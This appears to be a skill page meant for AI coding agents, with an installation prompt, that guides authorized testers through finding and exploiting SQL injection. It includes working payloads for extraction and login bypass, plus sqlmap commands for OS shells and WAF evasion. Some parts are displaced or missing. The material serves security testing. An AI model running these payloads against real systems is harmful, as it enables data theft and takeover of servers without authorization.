Identifies and exploits SQL injection vulnerabilities in web applications during authorized penetration tests using manual techniques and automated tools like sqlmap. The tester detects injection points through error-based, union-based, blind boolean, and time-based blind techniques across all major database engines (MySQL, PostgreSQL, MSSQL, Oracle) to demonstrate data extraction, authentication
Instalar com Codex ou Claude Copie este prompt, cole no Codex, Claude ou outro assistente e deixe que ele revise a página da skill e instale para você.
Um comando direto ignora o prompt de revisão. Verifique a origem antes de executá-lo.
Instruções da origem · Visualização somente leitura
name
cyber-exploiting-sql-injection-vulnerabilities
description
Identifies and exploits SQL injection vulnerabilities in web applications during authorized penetration tests using manual techniques and automated tools like sqlmap. The tester detects injection points through error-based, union-based, blind boolean, and time-based blind techniques across all major database engines (MySQL, PostgreSQL, MSSQL, Oracle) to demonstrate data extraction, authentication
source
mukul975/Anthropic-Cybersecurity-Skills
license
Apache-2.0
authorized_lab
true
origin_frontmatter
name: exploiting-sql-injection-vulnerabilities | description: 'Identifies and exploits SQL injection vulnerabilities in web applications | during authorized penetration tests using manual techniques and automated tools | like sqlmap. The tester detects injection points through error-based, union-based, | blind boolean, and time-based blind techniques across all major database engines | (MySQL, PostgreSQL, MSSQL, Oracle) to demonstrate data extraction, authentication | bypass, and poten
hide
true
AUTHORIZED-LAB ONLY. Offensive/dual-use capability. Use exclusively against systems you own or have explicit written authorization to test. This skill is gated out of the default discovery path; activation requires an explicit authorized-engagement flag.
Exploiting SQL Injection Vulnerabilities
When to Use
Testing web application input parameters for SQL injection vulnerabilities during an authorized penetration test
Validating that parameterized queries and input sanitization are properly implemented across all database interactions
Demonstrating the business impact of a confirmed SQL injection vulnerability by extracting sensitive data
Verifying that WAF rules and input validation controls effectively block SQL injection payloads
Testing stored procedures, dynamic SQL, and ORM bypass scenarios in enterprise applications
Do not use against databases without written authorization, for extracting or exfiltrating actual customer data beyond what is needed for proof of concept, or against production databases where exploitation could corrupt data integrity.
Prerequisites
Written authorization specifying the target application and permissible level of exploitation (detection only vs. full exploitation)
Burp Suite Professional configured as an intercepting proxy to capture and modify HTTP requests
sqlmap installed with current version for automated detection and exploitation
Knowledge of the target database engine (MySQL, PostgreSQL, MSSQL, Oracle) or ability to fingerprint it
Test accounts at various privilege levels to test injection in authenticated contexts
Workflow
Step 1: Injection Point Discovery
Identify parameters that interact with the database:
Map all input vectors: Catalog every parameter in URLs (GET), request bodies (POST), HTTP headers (Cookie, Referer, User-Agent, X-Forwarded-For), and JSON/XML API payloads
Error-based detection: Inject a single quote (') into each parameter and observe the response. SQL errors (e.g., "You have an error in your SQL syntax", "unterminated quoted string", "ORA-01756") confirm the parameter reaches the database unsanitized.
Boolean-based detection: Inject ' AND 1=1-- (true condition) and ' AND 1=2-- (false condition). If the responses differ (different content length, different data returned, different HTTP status), the parameter is injectable.
Time-based detection: Inject '; WAITFOR DELAY '0:0:5'-- (MSSQL), (MySQL), or (PostgreSQL). A 5-second response delay confirms injection.
' AND SLEEP(5)--
'; SELECT pg_sleep(5)--
Out-of-band detection: Use payloads that trigger DNS or HTTP requests to a Burp Collaborator domain to confirm injection in scenarios where responses are not directly observable.
Second-order injection: Test for injection where input is stored and later used in a different SQL query (e.g., username stored at registration, used in a query on the profile page).
Step 2: Database Fingerprinting
Determine the database engine and version to select appropriate exploitation techniques:
Error-based fingerprinting: Each database produces distinctive error messages. MySQL includes "MySQL", MSSQL mentions "SQL Server", PostgreSQL references "PG", Oracle contains "ORA-".
String concatenation differences: MySQL uses CONCAT('a','b') or 'a' 'b', MSSQL uses 'a'+'b', PostgreSQL uses 'a'||'b', Oracle uses 'a'||'b'
Comment syntax: MySQL supports # and -- , MSSQL uses -- , PostgreSQL uses -- , Oracle uses --
Step 3: Manual Exploitation Techniques
Exploit confirmed injection points using technique-appropriate methods:
UNION-based extraction: Determine the number of columns with ORDER BY incrementing (' ORDER BY 1--, ' ORDER BY 2--, etc. until an error occurs). Then construct UNION SELECT to extract data:
' UNION SELECT NULL,username,password,NULL FROM users--
Error-based extraction (MySQL): Use EXTRACTVALUE or UPDATEXML to force data into error messages:
' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT @@version),0x7e))--
Blind boolean extraction: Extract data one character at a time by testing character values:
' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a'--
Time-based blind extraction: Same character-by-character approach using time delays:
' AND IF(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a',SLEEP(5),0)--
POST parameters: sqlmap -u "https://target.com/login" --data="username=test&password=test" -p username to test POST parameters
Cookie injection: sqlmap -u "https://target.com/page" --cookie="session=abc123; id=1*" --level 2 to test cookie parameters (mark injectable parameter with *)
OS command execution (if DB user has sufficient privileges): sqlmap -u "https://target.com/page?id=1" --os-shell to attempt command execution via xp_cmdshell (MSSQL) or INTO OUTFILE (MySQL)
Tamper scripts: sqlmap -u "https://target.com/page?id=1" --tamper=space2comment,between to bypass WAF filters
Step 5: Impact Demonstration and Reporting
Document the full impact of the SQL injection vulnerability:
Data extraction evidence: Capture screenshots or sqlmap output showing extracted database names, table schemas, and sample records (redact actual PII in the report)
Authentication bypass: Demonstrate login bypass with admin' OR 1=1-- and document the bypassed authentication mechanism
Privilege escalation: If the database user has DBA privileges, document what additional capabilities are available (file read/write, command execution)
Lateral movement potential: Document if the database server has network access to other internal systems that could be reached through OS-level access gained via SQLi
Remediation: Provide specific code-level fixes showing the vulnerable query and the corrected parameterized version
Key Concepts
Term
Definition
SQL Injection
A code injection technique that exploits unvalidated user input in SQL queries to manipulate database operations, extract data, or execute administrative operations
Union-Based SQLi
Injection technique that appends a UNION SELECT statement to the original query to extract data from other tables in the same response
Blind SQL Injection
Injection where the application does not return query results directly; the attacker infers data through boolean responses or time delays
Parameterized Query
A prepared SQL statement where user input is passed as parameters rather than concatenated into the query string, preventing injection
Second-Order Injection
SQL injection where the malicious payload is stored by the application and executed in a different context or SQL query at a later time
Stacked Queries
Executing multiple SQL statements separated by semicolons in a single request, enabling INSERT, UPDATE, or DELETE operations through injection
WAF Bypass
Techniques for evading Web Application Firewall rules that block common SQL injection patterns, using encoding, alternate syntax, or fragmentation
Tools & Systems
sqlmap: Automated SQL injection detection and exploitation tool supporting 6 injection techniques across 30+ database management systems
Burp Suite Professional: HTTP proxy for intercepting, modifying, and replaying requests with SQL injection payloads across all parameter types
Havij: GUI-based SQL injection tool used for rapid automated exploitation when sqlmap is not available
jSQL Injection: Java-based SQL injection tool with GUI supporting automatic injection, database extraction, and file read/write
Common Scenarios
Scenario: SQL Injection in Healthcare Patient Portal
Context: A healthcare organization's patient portal allows patients to view their medical records, appointments, and billing information. The application uses a PHP backend with MySQL database. The tester has a valid patient account.
Approach:
Map all parameters in the patient portal; identify that the appointment detail page uses /appointment?id=4521
Inject a single quote into the id parameter; receive a MySQL error confirming the parameter is injectable
Use ORDER BY to determine the query returns 7 columns
Construct UNION SELECT to extract table names from information_schema, discovering tables: patients, medical_records, billing, admin_users
Extract admin_users table to reveal 5 administrator accounts with MD5-hashed passwords
Demonstrate that patient medical records for all patients are accessible by querying the medical_records table through the injection point
Document that 15,000+ patient records containing PHI (protected health information) are accessible, constituting a HIPAA violation
Pitfalls:
Running sqlmap with default settings against a production database and causing excessive load or data corruption
Extracting and storing actual patient data during the assessment rather than limiting proof to record counts and schema
Not testing for second-order injection in stored procedures called by the application
Failing to test all parameter types (cookies, headers, JSON body) and only testing URL parameters
Output Format
## Finding: SQL Injection in Appointment Detail Parameter
**ID**: SQLI-001
**Severity**: Critical (CVSS 9.8)
**Affected URL**: GET /appointment?id=4521
**Parameter**: id (GET parameter)
**Database**: MySQL 8.0.32
**Injection Type**: Error-based, UNION-based
**Description**:
The appointment detail page concatenates the 'id' URL parameter directly into
a SQL query without parameterization or input validation. This allows an attacker
to inject arbitrary SQL statements and extract data from any table in the database.
**Proof of Concept**:
Request: GET /appointment?id=4521' UNION SELECT 1,username,password,4,5,6,7 FROM admin_users-- -
Response: Returns admin usernames and MD5 password hashes in the page content.
**Data Accessible**:
- patients table: 15,247 records (name, DOB, SSN, address, phone)
- medical_records table: 43,891 records (diagnoses, prescriptions, lab results)
- admin_users table: 5 accounts with MD5-hashed passwords
- billing table: 28,563 records (insurance details, payment information)
**Remediation**:
1. Replace string concatenation with parameterized queries:
VULNERABLE: $query = "SELECT * FROM appointments WHERE id = " . $_GET['id'];
SECURE: $stmt = $pdo->prepare("SELECT * FROM appointments WHERE id = ?");
$stmt->execute([$_GET['id']]);
2. Implement input validation to reject non-integer values for the id parameter
3. Apply least-privilege database permissions (read-only for the web application user)
4. Deploy a WAF rule to detect and block SQL injection patterns as defense-in-depth
